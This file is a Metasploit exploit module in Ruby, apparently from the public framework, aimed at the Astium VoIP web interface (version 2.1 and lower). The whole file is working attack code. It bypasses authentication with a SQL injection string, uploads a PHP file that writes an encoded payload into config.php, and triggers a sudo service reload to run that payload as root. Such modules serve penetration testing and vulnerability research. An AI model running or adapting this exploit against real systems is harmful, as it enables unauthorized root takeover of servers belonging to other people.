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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ManualRanking # Configuration is overwritten and service reloaded
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Astium Remote Code Execution",
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      'Description'    => %q{
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        This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
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        lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
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        admin access. From an admin session arbitrary PHP code upload is possible. It is used
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        to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
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        "sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
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        remote root code execution.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
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        ],
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      'References'     =>
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        [
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          [ 'OSVDB', '88860' ],
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          [ 'EDB', '23831' ]
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        ],
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      'Platform'       => ['php'],
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      'Arch'           => ARCH_PHP,
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      'Targets'        =>
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        [
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          ['Astium 2.1', {}]
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2013-09-17',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
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        ])
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  end
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  def uri
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    return target_uri.path
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  end
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  def check
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    # Check version
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    vprint_status("Trying to detect Astium")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'    => normalize_uri(uri, "en", "content", "index.php")
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    })
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    if res and res.code == 302 and res.body =~ /direct entry from outside/
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      return Exploit::CheckCode::Detected
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    else
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      return Exploit::CheckCode::Unknown
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    end
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  end
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  def exploit
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    print_status("Access login page")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'    => normalize_uri(uri),
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      'vars_get' => {
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        'js' => '0',
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        'ctest' => '1',
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        'origlink' => '/en/content/index.php'
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      }
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    })
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    if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
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      session = $1
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      print_good("Session cookie is [ #{session} ]")
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      redirect =  URI(res.headers['Location'])
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      print_status("Location is [ #{redirect} ]")
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    else
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      fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
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    end
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    # Follow redirection process
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    print_status("Following redirection")
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    res = send_request_cgi({
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      'uri' => "#{redirect}",
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      'method' => 'GET',
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      'cookie' => "astiumnls=#{session}"
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    })
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    if not res or res.code != 200
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      fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
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    end
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    sqlirandom = rand_text_numeric(8)
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    # SQLi to bypass authentication
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    sqli="system' OR '#{sqlirandom}'='#{sqlirandom}"
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    # Random password
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    pass = rand_text_alphanumeric(10)
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    post_data = "__act=submit&user_name=#{sqli}&pass_word=#{pass}&submit=Login"
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    print_status("Using SQLi to bypass authentication")
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => normalize_uri(uri, "/en", "logon.php"),
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      'cookie' => "astiumnls=#{session}",
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      'data'   => post_data
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    })
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    if not res or res.code != 302
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      fail_with(Failure::Unknown, "#{peer} - Login bypass was not succesful!")
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    end
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    # Random filename
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    payload_name = rand_text_alpha(rand(10) + 5) + '.php'
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    phppayload = "<?php "
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    # Make backup of the "/usr/local/astium/web/php/config.php" file
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    phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
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    # Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
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    # else during the config reload it might happen that an extra shell is spawned as the apache user.
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    phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
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    phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
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    phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
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    phppayload << "fclose($f);"
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    # Reload astcfgd using sudo (so it will read our payload with root privileges).
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    phppayload << "system('sudo /sbin/service astcfgd reload');"
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    # Sleep 1 minute, so that we have enough time for the reload to trigger our payload
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    phppayload << "sleep(60);"
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    # Restore our original config.php, else the Astium web interface won't work anymore.
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    phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
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    phppayload << "fwrite($f, $orig);"
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    phppayload << "fclose($f);"
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    phppayload << "?>"
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    post_data = Rex::MIME::Message.new
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    post_data.add_part("submit", nil, nil, "form-data; name=\"__act\"")
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    post_data.add_part(phppayload, "application/octet-stream", nil, "file; name=\"importcompany\"; filename=\"#{payload_name}\"")
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    file = post_data.to_s
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    print_status("Uploading Payload [ #{payload_name} ]")
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => normalize_uri(uri, "en", "database", "import.php"),
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      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
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      'cookie' => "astiumnls=#{session}",
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      'data'   => file
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    })
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    # If the server returns 200 and the body contains our payload name,
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    # we assume we uploaded the malicious file successfully
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    if not res or res.code != 200 or res.body !~ /#{payload_name}/
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      fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
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    end
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    register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
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    print_status("Requesting Payload [ #{uri}upload/#{payload_name} ]")
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    print_status("Waiting as the reloading process may take some time, this may take a couple of minutes")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'    => normalize_uri(uri, "upload", "#{payload_name}")
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    }, 120)
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    # If we don't get a 200 when we request our malicious payload, we suspect
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    # we don't have a shell, either.
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    if res and res.code != 200
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      print_error("Unexpected response...")
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    end
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  end
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end
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